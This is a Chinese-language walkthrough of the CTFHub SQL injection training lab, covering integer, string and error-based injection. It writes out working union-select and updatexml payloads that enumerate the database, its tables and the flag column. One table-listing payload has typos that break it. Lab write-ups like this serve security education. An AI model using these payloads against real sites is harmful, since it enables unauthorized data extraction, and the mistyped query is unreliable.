当前位置:   article > 正文

CTFHUB技能树SQL注入

ctfhub技能树sql

(相关部分知识点可见SQL注入-CSDN博客

1.整数型注入。

分别输入1,2 回显不一样

 

2-1回显与1一样,判断为数字型注入(不用考虑闭合符合)

 用group by(order by)判断查询列数,group by 2有回显 3无回显,证明字段数量为2列。

 union联合注入,查看未发现的数据

?id=-1 union select 1,2 #

?id=-1(0)可以查看到不存在数据库中的数据

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

?id=-1 union select 1,version()#

 

 爆出数据库名为sqli

?id=-1 union select 1,database()#

爆出数据表名,发现有一个名为flag

group_concat()的作用:确保所有查询信息能放到一行显示出来

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

 

 爆出flag数据表中的全部字段名,得到完整flag

?id=-1 union select 1,group_concat(flag) from sqli.flag #

 2.字符型注入。

2-1的回显界面与1不一样,判断为字符型注入

判断闭合方式为'

  union联合注入,查看未发现的数据

?id=-1 union select 1,2 #

爆出数据库 sqli

?id=-1 union select 1,database()#

 爆出数据表,其中一个为flag

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

 爆出flag数据表中的全部字段名,得到完整flag

?id=-1 union select 1,group_concat(flag) from sqli.flag #

 3.报错注入。

使用updatexml(1,2,3) 进行报错注入

        MySQL提供的 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

输入1时正常回显,输入1'时报错

 爆出数据库名 sqli

?id=1 and updatexml(1,concat(0x7e,database()),3)


爆出数据表,发现flag表

?id=1 and updatexml(1,concat(0x7e,(select grouo_concat(table_name)from information_schema='sqli')),3)

爆出flag,发现不完整

?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

 利用函数substring解决返回字符串不完整问题(只有32个字符)

可解释为从第1个字符往后再显示30个字符

?id=1 and updatexml(1,concat(0x7e,(select substring(group_concat(flag),1,30) from sqli.flag)),3)

可解释为从第31个字符往后再显示30个字符 

?id=1 and updatexml(1,concat(0x7e,(select substring(group_concat(flag),31,30) from sqli.flag)),3)

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/521060
推荐阅读
  

闽ICP备14008679号